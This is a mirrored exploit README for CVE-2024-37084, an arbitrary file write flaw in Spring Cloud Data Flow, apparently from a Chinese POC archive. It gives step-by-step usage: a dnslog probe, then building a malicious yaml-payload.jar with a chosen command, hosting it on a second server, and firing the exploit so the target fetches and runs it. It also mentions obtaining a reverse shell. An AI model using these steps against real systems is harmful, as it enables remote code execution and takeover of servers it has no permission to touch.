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CVE-2024-37084 PoC — VMware Spring Cloud Data Flow 安全漏洞

来源
https://github.com/A0be/CVE-2024-37084-Exp
关联漏洞
标题:VMware Spring Cloud Data Flow 安全漏洞 (CVE-2024-37084)
Description:VMware Spring Cloud Data Flow是美国威睿（VMware）公司的一款用于微服务中流式处理和批处理数据的代码库。 VMware Spring Cloud Data Flow 2.11.0版本至2.11.3版本存在安全漏洞，该漏洞源于有权访问服务器API的恶意用户可以使用特制请求将任意文件写入文件系统上的任何位置。
Description
Spring Cloud Data Flow CVE-2024-37084 exp
介绍
1. Use dnslog to detect whether CVE-2024-37084 vulnerability exists, Then manually check dnslog
   
`python cve-2024-37084-exp.py -u http://192.168.67.135:7577 -dnslog xxx.dnslog.cn`

2. then you can Execute system commands
   
**first:** Enter the command you want to execute in src\artsploit\AwesomeScriptEngineFactory.java

![image](https://github.com/user-attachments/assets/bca82f8a-1b22-4cf8-adb9-96e5650153d2)

**after that:** Double-click the. py file to generate the yaml-payload.jar file.

![image](https://github.com/user-attachments/assets/c6964441-dc24-44a0-8ae4-c5bc3888e70d)

**after that:** Put yaml-payload.jar on the linux server and start a web service with python. Note: Every time you execute a different command, you need to rename yaml-payload.jar, that is, xx.jar that you access, with a different name every time. Otherwise the new command will not take effect.

The access path is as follows: http://192.168.67.133/yaml-payload.jar.

**finally:** Execute poc

`cve-2024-37084-exp.py -u http://192.168.67.135:7577 -payload http://192.168.67.133/yaml-payload.jar`

![image](https://github.com/user-attachments/assets/13536acf-afb8-4e7d-adf8-629aab9b3157)

Enter the corresponding container to view and successfully execute the command.

![image](https://github.com/user-attachments/assets/910021ef-ec3d-4536-b4af-e0c8f86f2d2c)

**Rebound shell:**
![image](https://github.com/user-attachments/assets/24a0bfc1-62f3-4489-bd81-461c6a2955ea)
![image](https://github.com/user-attachments/assets/b6f7cecf-20cd-406e-9fc2-e1284719d7ac)
文件快照

 [4.0K]  /data/pocs/1daf8eff771feaa1430ae1e401e1147483d3cdad
├── [4.8K]  cve-2024-37084-exp.py
├── [1.0K]  LICENSE
├── [1.5K]  README.md
└── [4.0K]  yaml-payload-master
    ├── [ 144]  generate-yaml-payload.jar.py
    ├── [4.0K]  src
    │   ├── [4.0K]  artsploit
    │   │   ├── [1.7K]  AwesomeScriptEngineFactory.class
    │   │   └── [1.7K]  AwesomeScriptEngineFactory.java
    │   └── [4.0K]  META-INF
    │       └── [4.0K]  services
    │           └── [  36]  javax.script.ScriptEngineFactory
    └── [2.4K]  yaml-payload.jar

5 directories, 8 files
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备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入，因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键，由衷感谢。 查看订阅方案 →